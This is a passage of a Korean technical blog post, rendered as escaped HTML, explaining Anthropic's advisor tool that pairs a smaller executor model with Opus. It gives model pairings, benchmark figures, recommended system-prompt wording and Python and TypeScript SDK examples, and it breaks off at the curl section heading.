&lt;li&gt;&lt;b&gt;model&lt;/b&gt;: &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;claude-opus-4-7&lt;/code&gt; &amp;mdash; 현재 API 문서 기준으로 advisor로 지원되는 유일한 모델&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;버전 주의&lt;/b&gt;: Anthropic 블로그 발행 시점(2026-04-09)에는 claude-opus-4-6이 언급됐으나, 현재 공식 API 문서에서는 claude-opus-4-7만 advisor로 지원한다. 공식 문서를 우선 적용한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모델 페어링은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에서 다음과 같이 명시한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Executor 모델&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;Advisor 모델&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;claude-haiku-4-5-20251001&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;claude-opus-4-7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;claude-sonnet-4-6&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;claude-opus-4-7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;claude-opus-4-6&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;claude-opus-4-7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;claude-opus-4-7&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;claude-opus-4-7&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: advisor는 항상 claude-opus-4-7이고, executor는 네 가지 중에서 선택한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;응답 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;advisor를 호출하면 응답에 두 가지 블록이 추가된다. &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;server_tool_use&lt;/code&gt;로 advisor 호출 시작을 알리고, &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;advisor_tool_result&lt;/code&gt;로 Opus의 조언이 전달된다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt; 기준 실제 응답 구조는 아래와 같다.&lt;/p&gt;
&lt;pre class=&quot;json&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0; line-height: 1.5;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{&quot;type&quot;: &quot;server_tool_use&quot;, &quot;id&quot;: &quot;srvtoolu_abc123&quot;, &quot;name&quot;: &quot;advisor&quot;, &quot;input&quot;: {}}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과:&lt;/p&gt;
&lt;pre class=&quot;json&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0; line-height: 1.5;&quot; data-ke-language=&quot;json&quot;&gt;&lt;code&gt;{
  &quot;type&quot;: &quot;advisor_tool_result&quot;,
  &quot;content&quot;: {
    &quot;type&quot;: &quot;advisor_result&quot;,
    &quot;text&quot;: &quot;어드바이저의 조언 텍스트&quot;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;advisor_tool_result&lt;/code&gt; 블록을 멀티턴 대화에서 반드시 보존해야 한다는 점이 중요하다. 이 내용은 섹션 7(트러블슈팅)에서 다시 다룬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 3 ===== --&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 벤치마크 &amp;mdash; 실제로 얼마나 좋아졌나&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1074&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bKIaHj/dJMcaad1uR9/YmbhgVYWBVQ3JxuKNIkPok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bKIaHj/dJMcaad1uR9/YmbhgVYWBVQ3JxuKNIkPok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bKIaHj/dJMcaad1uR9/YmbhgVYWBVQ3JxuKNIkPok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbKIaHj%2FdJMcaad1uR9%2FYmbhgVYWBVQ3JxuKNIkPok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1976&quot; height=&quot;1074&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1074&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;SWE-bench Multilingual&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/blog/the-advisor-strategy&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Anthropic 공식 블로그&lt;/a&gt;에서 공개한 수치다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Sonnet with Opus as an advisor showed a 2.7 percentage point increase on SWE-bench Multilingual over Sonnet alone, while reducing cost per agentic task by 11.9%.&quot;&lt;/p&gt;
&lt;p style=&quot;color: #4a7090; margin-top: 10px; padding-top: 8px; border-top: 1px dashed #b3d9ff;&quot; data-ke-size=&quot;size14&quot;&gt;(해석) Opus를 advisor로 쓴 Sonnet은 SWE-bench Multilingual에서 Sonnet 단독 대비 2.7%p 성능 향상을 기록했으며, 에이전트 작업당 비용은 11.9% 줄었다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 수치가 의미하는 바는 단순하지 않다. 성능을 올리면서 비용도 줄였다 &amp;mdash; 보통은 둘 중 하나를 포기해야 하는 트레이드오프를 Advisor Strategy가 동시에 해소했다는 점이다. 공식 블로그 본문에는 2.7%p와 11.9%만 명시되며, 세부 점수(74.8%/72.1%)는 커뮤니티 소스(decodethefuture.org)에서 확인된 수치다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;측정 조건도 확인할 필요가 있다. 공식 블로그에 따르면 Sonnet 4.6 단독 측정에는 adaptive thinking이 사용됐고, Sonnet 4.6 + Advisor 조합에는 thinking을 비활성화한 권장 시스템 프롬프트가 적용됐다. 비교 전제를 이해하고 적용하는 것이 중요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;BrowseComp&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코딩 외 영역의 수치도 주목할 만하다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/blog/the-advisor-strategy&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 블로그&lt;/a&gt;에 따르면:&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Haiku with an Opus advisor reached 41.2% on BrowseComp&amp;mdash;more than double its standalone 19.7% score.&quot;&lt;/p&gt;
&lt;p style=&quot;color: #4a7090; margin-top: 10px; padding-top: 8px; border-top: 1px dashed #b3d9ff;&quot; data-ke-size=&quot;size14&quot;&gt;(해석) Opus를 advisor로 쓴 Haiku는 BrowseComp에서 41.2%를 기록했다 &amp;mdash; 단독 점수 19.7%의 두 배 이상이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Haiku 단독 19.7%에서 Haiku+Opus advisor 41.2%로 2배 이상 뛰었다. 이 조합은 Sonnet 단독 대비 성능이 29% 낮지만 비용은 85% 낮다는 점도 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/blog/the-advisor-strategy&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;같은 출처&lt;/a&gt;에서 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 용도가 갈린다. 코딩&amp;middot;버그 수정이면 Sonnet+Opus. 웹 탐색처럼 Haiku로 처리 가능하지만 판단이 필요한 작업이라면 Haiku+Opus가 비용 절감폭이 훨씬 크다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Terminal-Bench 2.0&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널 작업 벤치마크에서도 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/blog/the-advisor-strategy&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 블로그&lt;/a&gt;에 따르면 Sonnet과 Haiku executor 모두 Opus advisor 페어링 시 성능이 향상됐다. 89개 태스크, 5회 평균 측정 기준이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;실 사용 사례 &amp;mdash; Eve Legal&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;벤치마크 외에 실 고객 사례도 공개됐다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://claude.com/blog/the-advisor-strategy&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Anthropic 공식 블로그&lt;/a&gt;에 수록된 Eve Legal 사례다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;On structured document extraction tasks, the advisor tool enables Haiku 4.5 to dynamically scale intelligence by consulting Opus 4.6 as complexity demands, matching frontier-model quality at 5&amp;times; lower cost.&quot; &amp;mdash; Anuraj Pandey, Machine Learning Engineer, Eve Legal&lt;/p&gt;
&lt;p style=&quot;color: #4a7090; margin-top: 10px; padding-top: 8px; border-top: 1px dashed #b3d9ff;&quot; data-ke-size=&quot;size14&quot;&gt;(해석) 구조화 문서 추출 작업에서 advisor 도구는 Haiku 4.5가 복잡도에 따라 Opus 4.6에 자문을 구하며 지능을 동적으로 확장할 수 있게 해준다. 그 결과 프론티어 모델 수준의 품질을 5배 낮은 비용으로 달성했다. &amp;mdash; Anuraj Pandey, Machine Learning Engineer, Eve Legal&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구조화 문서 추출 작업에서 Haiku 4.5가 Opus를 advisor로 활용해 프론티어 모델 수준의 품질을 5배 낮은 비용으로 달성했다는 사례다. 인용문은 당시 Opus 4.6 기준이며, 현재 API에서는 Opus 4.7이 advisor로 지원된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== SECTION 4 ===== --&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 공식 API 사용법 &amp;mdash; Python SDK &amp;middot; TypeScript SDK &amp;middot; curl 예시&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;베타 헤더 필수 설정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 요청에 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;anthropic-beta: advisor-tool-2026-03-01&lt;/code&gt; 헤더를 포함해야 한다. Python SDK에서는 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;betas=[&quot;advisor-tool-2026-03-01&quot;]&lt;/code&gt;로 전달한다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에서 확인된 필수 요구사항이다.&lt;/p&gt;
&lt;div style=&quot;background: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;베타 헤더 누락 시 API 호출이 실패한다.&lt;/b&gt; 현재 GA(정식 출시) 상태가 아니므로, 모든 요청에 반드시 베타 헤더를 포함해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;공식 권장 시스템 프롬프트&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1088&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/egh8xr/dJMcafl5053/3WkFeKoaCjR6EkuVGMBG00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/egh8xr/dJMcafl5053/3WkFeKoaCjR6EkuVGMBG00/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/egh8xr/dJMcafl5053/3WkFeKoaCjR6EkuVGMBG00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fegh8xr%2FdJMcafl5053%2F3WkFeKoaCjR6EkuVGMBG00%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2008&quot; height=&quot;1088&quot; data-origin-width=&quot;2008&quot; data-origin-height=&quot;1088&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;는 코딩 작업에서 advisor를 효과적으로 쓰기 위한 시스템 프롬프트 작성 지침을 제공한다. 핵심은 &lt;b&gt;실질적 작업 착수 전에 advisor를 호출&lt;/b&gt;하도록 executor에게 지시하는 것이다.&lt;/p&gt;
&lt;div style=&quot;background: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Call advisor BEFORE substantive work &amp;mdash; before writing, before committing to an interpretation, before building on an assumption.&quot;&lt;/p&gt;
&lt;p style=&quot;color: #4a7090; margin-top: 10px; padding-top: 8px; border-top: 1px dashed #b3d9ff;&quot; data-ke-size=&quot;size14&quot;&gt;(해석) 실질적인 작업에 착수하기 전에 advisor를 호출하라 &amp;mdash; 코드를 쓰기 전, 해석을 확정하기 전, 가정 위에 구현을 쌓기 전에.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;글 쓰기 전, 해석을 확정하기 전, 가정 위에 구현을 쌓기 전 &amp;mdash; 이 세 시점이 advisor 호출의 최적 타이밍이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;advisor 출력 토큰을 35-45% 줄이는 팁도 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에 나와 있다. 시스템 프롬프트에 다음 지시를 추가하면 된다.&lt;/p&gt;
&lt;pre class=&quot;mipsasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0; line-height: 1.5;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;The advisor should respond in under 100 words and use enumerated steps, not explanations.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Python SDK 최소 동작 예시&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1076&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgOHZd/dJMcahjWb5o/NAxpLKHErSgcQEzTPD2dTk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgOHZd/dJMcahjWb5o/NAxpLKHErSgcQEzTPD2dTk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgOHZd/dJMcahjWb5o/NAxpLKHErSgcQEzTPD2dTk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgOHZd%2FdJMcahjWb5o%2FNAxpLKHErSgcQEzTPD2dTk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1976&quot; height=&quot;1076&quot; data-origin-width=&quot;1976&quot; data-origin-height=&quot;1076&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0; line-height: 1.5;&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;import anthropic

client = anthropic.Anthropic()

response = client.beta.messages.create(
    model=&quot;claude-sonnet-4-6&quot;,      # executor 모델
    max_tokens=4096,
    betas=[&quot;advisor-tool-2026-03-01&quot;],  # 베타 헤더 필수
    tools=[
        {
            &quot;type&quot;: &quot;advisor_20260301&quot;,
            &quot;name&quot;: &quot;advisor&quot;,          # 변경 불가 고정값
            &quot;model&quot;: &quot;claude-opus-4-7&quot;, # advisor 모델
        }
    ],
    messages=[{&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: &quot;Build a concurrent worker pool in Go with graceful shutdown.&quot;}],
)
print(response.content)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;TypeScript SDK 최소 동작 예시&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에 수록된 TypeScript SDK 예시다. Python SDK와 구조는 동일하며, &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;client.beta.messages.create()&lt;/code&gt;에 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;betas&lt;/code&gt; 배열을 함께 전달한다.&lt;/p&gt;
&lt;pre class=&quot;javascript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0; line-height: 1.5;&quot; data-ke-language=&quot;typescript&quot;&gt;&lt;code&gt;import Anthropic from &quot;@anthropic-ai/sdk&quot;;

const client = new Anthropic();

async function main() {
  const response = await client.beta.messages.create({
    model: &quot;claude-sonnet-4-6&quot;,   // executor 모델
    max_tokens: 4096,
    betas: [&quot;advisor-tool-2026-03-01&quot;],  // 베타 헤더 필수
    tools: [
      {
        type: &quot;advisor_20260301&quot;,
        name: &quot;advisor&quot;,          // 변경 불가 고정값
        model: &quot;claude-opus-4-7&quot;  // advisor 모델
      }
    ],
    messages: [
      {
        role: &quot;user&quot;,
        content: &quot;Build a concurrent worker pool in Go with graceful shutdown.&quot;
      }
    ]
  });

  console.log(response);
}

main().catch(console.error);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Python SDK 멀티턴 완전 예시&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1104&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbgK06/dJMcafGoPUU/SEo5lda04weWSwiwky4P7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbgK06/dJMcafGoPUU/SEo5lda04weWSwiwky4P7K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbgK06/dJMcafGoPUU/SEo5lda04weWSwiwky4P7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbgK06%2FdJMcafGoPUU%2FSEo5lda04weWSwiwky4P7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2002&quot; height=&quot;1104&quot; data-origin-width=&quot;2002&quot; data-origin-height=&quot;1104&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://platform.claude.com/docs/en/agents-and-tools/tool-use/advisor-tool&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;공식 문서&lt;/a&gt;에 수록된 멀티턴 예시다. Go 워커 풀 구현을 요청하고, 이어서 추가 제약을 붙이는 시나리오다.&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code','Consolas',monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0; line-height: 1.5;&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;import anthropic

client = anthropic.Anthropic()
tools = [{
    &quot;type&quot;: &quot;advisor_20260301&quot;,
    &quot;name&quot;: &quot;advisor&quot;,
    &quot;model&quot;: &quot;claude-opus-4-7&quot;,
}]
messages = [{
    &quot;role&quot;: &quot;user&quot;,
    &quot;content&quot;: &quot;Build a concurrent worker pool in Go with graceful shutdown.&quot;,
}]

# 첫 번째 요청
response = client.beta.messages.create(
    model=&quot;claude-sonnet-4-6&quot;,
    max_tokens=4096,
    betas=[&quot;advisor-tool-2026-03-01&quot;],
    tools=tools,
    messages=messages,
)

# 멀티턴: assistant 응답 전체를 히스토리에 추가 (advisor_tool_result 포함)
messages.append({&quot;role&quot;: &quot;assistant&quot;, &quot;content&quot;: response.content})
messages.append({&quot;role&quot;: &quot;user&quot;, &quot;content&quot;: &quot;Now add a max-in-flight limit of 10.&quot;})

# 두 번째 요청
response = client.beta.messages.create(
    model=&quot;claude-sonnet-4-6&quot;,
    max_tokens=4096,
    betas=[&quot;advisor-tool-2026-03-01&quot;],
    tools=tools,
    messages=messages,
)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;response.content&lt;/code&gt; 전체를 &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;messages&lt;/code&gt;에 추가하는 부분이 핵심이다. &lt;code style=&quot;background: #f4f4f4; padding: 2px 6px; border-radius: 4px; font-family: 'Fira Code','Consolas',monospace; font-size: 14px;&quot;&gt;advisor_tool_result&lt;/code&gt; 블록을 빠뜨리면 다음 요청에서 400 에러가 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;curl 예시&lt;/h3&gt;
